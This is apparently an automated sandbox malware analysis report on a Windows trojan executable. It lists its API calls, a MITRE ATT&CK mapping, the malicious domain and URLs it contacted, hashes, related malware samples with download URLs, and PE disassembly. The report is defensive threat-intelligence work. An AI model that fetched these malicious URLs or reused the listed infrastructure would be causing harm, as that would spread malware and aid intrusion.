Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629272BA0 GetLocalTime,

0_2_00007FF629272BA0

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629272BCF GetUserNameW,

0_2_00007FF629272BCF

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629252400 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00007FF629252400

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF629231D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_00007FF629231D80

Source: elyho3x5zz.exe, 00000000.00000002.2454606052.000001F7E4810000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2454002629.000001F7E480F000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2454106138.000001F7E4810000.00000004.00000020.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000003.2453971032.000001F7E4809000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Users\Public\Guard.exe
Source: elyho3x5zz.exe, 00000000.00000002.2454303210.00000028323D8000.00000004.00000010.00020000.00000000.sdmp, elyho3x5zz.exe, 00000000.00000002.2454537404.000001F7E47E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\Public\Guard.exe

Source: elyho3x5zz.exe	Binary or memory string: WIN_81
Source: elyho3x5zz.exe	Binary or memory string: WIN_XP
Source: elyho3x5zz.exe	Binary or memory string: WIN_XPe
Source: elyho3x5zz.exe	Binary or memory string: WIN_VISTA
Source: elyho3x5zz.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: elyho3x5zz.exe	Binary or memory string: WIN_7
Source: elyho3x5zz.exe	Binary or memory string: WIN_8

Source: C:\Users\user\Desktop\elyho3x5zz.exe

Code function: 0_2_00007FF6292A3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,

0_2_00007FF6292A3940

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	11 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 PowerShell	2 Valid Accounts	1 DLL Side-Loading	1 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	11 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	11 Masquerading	NTDS	25 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Process Injection	2 Valid Accounts	LSA Secrets	4 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
elyho3x5zz.exe	56%	Virustotal		Browse
elyho3x5zz.exe	39%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label	Link
https://bdfhbrgrg.xyz/yajwgWMT.txt	0%	Avira URL Cloud	safe
https://bdfhbrgrg.xyz/ImldXigH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bdfhbrgrg.xyz	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bdfhbrgrg.xyz/ImldXigH	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bdfhbrgrg.xyz/yajwgWMT.txt	elyho3x5zz.exe, 00000000.00000002.2454537404.000001F7E47E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	bdfhbrgrg.xyz	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584333
Start date and time:	2025-01-05 08:38:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	elyho3x5zz.exe renamed because original name is a hash value
Original Sample Name:	69931884c719a49700d9b1921e915ed0.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@4/4@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 42 Number of non-executed functions: 250
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.

Simulations

Behavior and APIs

Time	Type	Description
02:38:56	API Interceptor	44x Sleep call for process: powershell.exe modified
02:39:27	API Interceptor	17x Sleep call for process: elyho3x5zz.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	172.64.41.3
	X9g8L63QGs.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	KpHYfxnJs6.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	https://bit.ly/3VYGxmh	Get hash	malicious	CAPTCHA Scam ClickFix, Phisher	Browse	104.18.95.41
	armv6l.elf	Get hash	malicious	Unknown	Browse	198.41.197.77
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.64.1
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	104.21.56.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	188.114.96.3
	c2.hta	Get hash	malicious	Remcos	Browse	188.114.96.3
	3lhrJ4X.exe	Get hash	malicious	LiteHTTP Bot	Browse	188.114.96.3
	CEFA-FAS_LicMgr.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	188.114.96.3
	m.txt.ps1	Get hash	malicious	Unknown	Browse	188.114.96.3
	XClient.exe	Get hash	malicious	XWorm	Browse	188.114.96.3
	1111.hta	Get hash	malicious	Unknown	Browse	188.114.96.3
	qwertyuiopasdfghjklzxcvbnm.hta	Get hash	malicious	Unknown	Browse	188.114.96.3

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbc3zjkp.yfk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycr1vuog.ak1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.306406255978983
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	elyho3x5zz.exe
File size:	1'083'904 bytes
MD5:	69931884c719a49700d9b1921e915ed0
SHA1:	9d01852540ef12d782a18f0aae776a4af90be433
SHA256:	d438f531f435c04c139ff9895885a3bc721958fde5354d738bb928b1899e5693
SHA512:	069f18068ee4fdf10c829cd3dd5982d7643a491ee26a9a5c2bd84bc7ff04b6f97bfdc0e16a7c01d01a4dbe131dd06a912cd49a78f156f48bf1946bb65b7d5293
SSDEEP:	24576:PrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tvan1r:P2EYTb8atv1orq+pEiSDTj1VyvBa1
TLSH:	F7357C4973A4419DFEABE1B6CA23C607D6B17C490276861F01A47B767F337712A2E321
File Content Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG.....>PG......PG......PG.....PG.y8B..PG.y8C.:PG.y8D.#PG."(..#PG."(..PG."(...PG.+PF..RG..9I.{PG..9D.PG..9..PG

File Icon


Icon Hash:	0fd88dc89ea7861b

Static PE Info

General

Entrypoint:	0x14002549c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6773AA89 [Tue Dec 31 08:25:45 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	fadc5a257419d2541a6b13dfb5e311e2

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD024AE7100h
dec eax
add esp, 28h
jmp 00007FD024AE6A0Fh
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009466Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007FD024AE8619h
dec eax
lea eax, dword ptr [0009467Dh]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [00094674h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00094659h]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [0009460Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007FD024AE85B9h
dec eax
lea eax, dword ptr [00094645h]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
dec eax
and dword ptr [ecx+10h], 00000000h
dec eax
lea eax, dword ptr [0009463Ch]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00000021h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe5c10	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfb000	0x140fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xf4000	0x6f48	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x110000	0xa74	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc7050	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd9aa0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xc7070	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb5000	0x1138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb3328	0xb3400	507a8505198e35cc9675301d53e3b1c4	False	0.5503358721234309	data	6.5212967575920215	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb5000	0x34204	0x34400	9eda36be0cf076085a2f9772c1ee5803	False	0.30884139503588515	data	5.360588077813426	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xea000	0x9120	0x5000	ec6b77d6ef8898b0d3b7d48c042d66a0	False	0.040673828125	DOS executable (block device driver)	0.5749243362866429	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xf4000	0x6f48	0x7000	4416e27f8be9f9271c439d2fd34d1b2d	False	0.49612862723214285	data	5.911479421450324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xfb000	0x140fc	0x14200	4214549914061d73180b66f91844d288	False	0.19348068711180125	data	4.245897898582436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x110000	0xa74	0xc00	5ddb0e422ace102fe530e589a0cbec6f	False	0.4850260416666667	data	5.139847116863034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xfb458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xfb580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xfb6a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xfb7d0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 60472 x 60472 px/m	English	Great Britain	0.14468236129184905
RT_MENU	0x10bff8	0x50	data	English	Great Britain	0.9
RT_STRING	0x10c048	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0x10c5dc	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0x10cc68	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0x10d0f8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0x10d6f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0x10dd50	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0x10e1b8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0x10e310	0x8d0	data			1.0048758865248226
RT_GROUP_ICON	0x10ebe0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x10ebf4	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x10ec08	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x10ec1c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x10ec30	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x10ed0c	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, GetFullPathNameW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, EnterCriticalSection, DuplicateHandle, GetStdHandle, CreatePipe, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetSystemTimeAsFileTime, CreateThread, GetCurrentProcess, GetCurrentThread, LeaveCriticalSection, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, TlsAlloc, ResetEvent, WaitForSingleObjectEx, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, CloseHandle, WriteConsoleW, MoveFileW, RtlCaptureContext
